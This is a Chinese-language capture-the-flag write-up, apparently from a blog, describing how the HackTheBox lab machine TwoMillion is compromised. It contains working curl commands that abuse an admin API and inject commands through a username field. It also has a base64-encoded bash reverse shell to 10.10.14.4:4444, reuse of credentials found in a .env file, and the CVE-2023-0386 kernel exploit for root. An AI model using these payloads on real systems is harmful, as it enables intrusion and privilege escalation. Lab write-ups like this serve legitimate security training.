HackTheBox-Machines--TwoMillion


TwoMillion 测试过程


1 端口扫描


nmap -sC -sV 10.129.41.37

在这里插入图片描述


2 测试思路


  目标开启了80和22端口,所以出发点从80端口开始。

  1.通过在web网站寻找漏洞,获取到用户名和密码,远程连接22端口获取权限;
  2.通过在web网站寻找漏洞,站点中存在可以获取权限的漏洞。


3 web漏洞探测


echo "10.129.41.37 2million.htb" | sudo  tee -a /etc/hosts

3.1 绕过限制获取 Invite code

  点击Join HTB功能发现存在Invite code,该系统需要有邀请码才能进行注册登录

在这里插入图片描述

在这里插入图片描述

  审计网页源代码,通过POST请求向 /api/v1/invite/verify 接口提交邀请码以此来验证邀请码的有效性。并且还有js代码/js/inviteapi.min.js 在加载。
在这里插入图片描述

  查看 /js/inviteapi.min.js,代码被混淆了,使用工具进行解码。
在这里插入图片描述
  解码后的代码中,发现存在两个post请求:第1个请求是验证邀请码,主要关注第二个请求

1 post /api/v1/invite/verify
2 post /api/v1/invite/how/to/generate

在这里插入图片描述

  使用 curl 访问/api/v1/invite/how/to/generate接口,在输出内容中可以看到data的值为一段加密字符,而加密方式为ROT13,对加密字符进行解密即可得到明文。

curl -sX POST http://2million.htb/api/v1/invite/how/to/generate | jq

在这里插入图片描述

  在对密文进行解密后,又发现了一个post请求接口/api/v1/invite/how/to/generate

密文:
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr
解密后明文:
In order to generate the invite code, make a POST request to /api/v1/invite/generate

  使用 curl 访问/api/v1/invite/generate接口,观察其输出情况,发现一段base64编码的字符串

curl -sX POST http://2million.htb/api/v1/invite/generate | jq

在这里插入图片描述

  对发现的字符串Qlg5QUctNlMzQVEtR1dPNlUtR1lBVjE=进行解码,得到明文正是邀请码

echo Qlg5QUctNlMzQVEtR1dPNlUtR1lBVjE= | base64 -d

在这里插入图片描述


3.2 对登录后页面进行审计


  使用获取到的邀请码进行注册登录
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  在access功能点发现允许用户重新生成下载VPN文件,

在这里插入图片描述

  点击 Regenerate 观察请求包,没有其他可利用的内容,但是在审计邀请码页面及下载VPN页面时,路径都是/api,所以我们尝试访问/api

在这里插入图片描述

  使用CURL访问路径2million.htb/api,观察其返回内容显示未授权 401

curl -v 2million.htb/api

在这里插入图片描述

  添加cookie继续访问 2million.htb/api

curl -sv 2million.htb/api --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq

在这里插入图片描述

  发现路径 /api/v1,访问后发现存在很多接口,并且有三个接口是和admin相关的

curl -sv 2million.htb/api/v1 --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq

在这里插入图片描述

  继续访问发现的三个接口

curl 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq 

在这里插入图片描述

curl -sv -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" 

在这里插入图片描述

  在访问到第三个http://2million.htb/api/v1/admin/settings/update时,发现我们的请求报错"Invalid content type"

curl -v -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq

在这里插入图片描述

  既然报错"Invalid content type",那就添加content类型继续进行访问:Content-Type: application/json

curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" | jq

在这里插入图片描述

  访问又出现提示,显示Missing parameter:email,添加mail请求体继续进行访问,mail的值就使用之前注册账户时的邮箱地址

curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"email":"test@123.com"}'| jq

在这里插入图片描述

  访问又出现提示,显示Missing parameter:id_admin,添加is_admin参数继续进行访问,is_admin的值true

curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"email":"test@123.com","is_admin":true}'| jq

在这里插入图片描述

  访问又出现提示,显示id_admin的值需要为0或这1,将id_admin的改为0和1继续进行访问,成功返回之前我们注册的用户信息

curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"email":"test@123.com","is_admin":'1'}'| jq

在这里插入图片描述

在这里插入图片描述

  再次重复访问之前访问失败的前两个路径2million.htb/api/v1/admin/auth2million.htb/api/v1/admin/vpn/generate

curl 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq 

在这里插入图片描述

  在访问2million.htb/api/v1/admin/vpn/generate路径时,发现缺少username参数,添加"username":"test"后继续进行访问

curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" | jq  

在这里插入图片描述

  在添加了--data '{"username":"test"}'后访问成功,并成功返回了VPN配置文件

curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"username":"test"}'

在这里插入图片描述

  在username的值为test时,系统生成VPN配置文件并进行打印,如果VPN的配置文件是通过某些系统函数生成,并且对于username的值没有进行严格过滤,那是否可以在username的值上拼接系统命令进行执行,添加id命令进行执行,成功

curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"username":"test;id;"}'

在这里插入图片描述


4 权限获取


  id命令可以执行成功,写入反弹shell命令获取权限。对反弹shell命令bash -i >& /dev/tcp/10.10.14.4/4444 0>&1进行base64编码并写入

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ== | base64 -d | bash
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ== | base64 -d | bash;"}'

在这里插入图片描述


5 横向移动


  检查web文件,发现一个.env文件,在.env文件中发现admin:SuperDuperPass123

在这里插入图片描述

在这里插入图片描述

  使用获取到的admin:SuperDuperPass123进行ssh登录,成功获取到admin用户权限

ssh admin@10.129.41.37     

在这里插入图片描述

在这里插入图片描述


6 权限提升


sudo -l

在这里插入图片描述

  执行sudo -l未发现可利用的,但是在查看系统信息时发现内核版本5.15.70,并且在/var/mail/admin发现一封有关内核漏洞的邮件

uname -a
lsb_release -a

在这里插入图片描述

  /var/mail/admin邮件内容显示: 可能存在 OverlayFS / FUSE 漏洞攻击,搜索该攻击相关信息,发现在 Linux 内核的 OverlayFS 子系统中,用户将某些文件从 nosuid 挂载点复制到另一个挂载点时,未经授权时能够执行setuid文件。此 uid 映射错误允许本地用户提升其系统权限。漏洞编号CVE-2023-0386

cat /var/mail/admin

在这里插入图片描述

  下载CVE-2023-0386漏洞提权工具

git clone https://github.com/xkaneiki/CVE-2023-0386.git

  将漏洞利用工具拷贝进系统中,在未压缩时无法拷入

scp CVE-2023-0386 admin@2million.htb:/tmp
scp CVE-2023-0386.zip admin@2million.htb:/tmp

在这里插入图片描述

  上传完成CVE-2023-0386.zip后进行解压,并编译

admin@2million:/tmp$ unzip CVE-2023-0386.zip 

在这里插入图片描述

admin@2million:/tmp$ cd CVE-2023-0386/
admin@2million:/tmp/CVE-2023-0386$ make all

在这里插入图片描述

  在第一个admin终端执行./fuse ./ovlcap/lower ./gc

admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc

在这里插入图片描述

  在第二个amdin终端执行 ./exp,成功获取到root权限

admin@2million:/tmp/CVE-2023-0386$ ./exp

在这里插入图片描述

在这里插入图片描述

  • 21
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李沉肩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值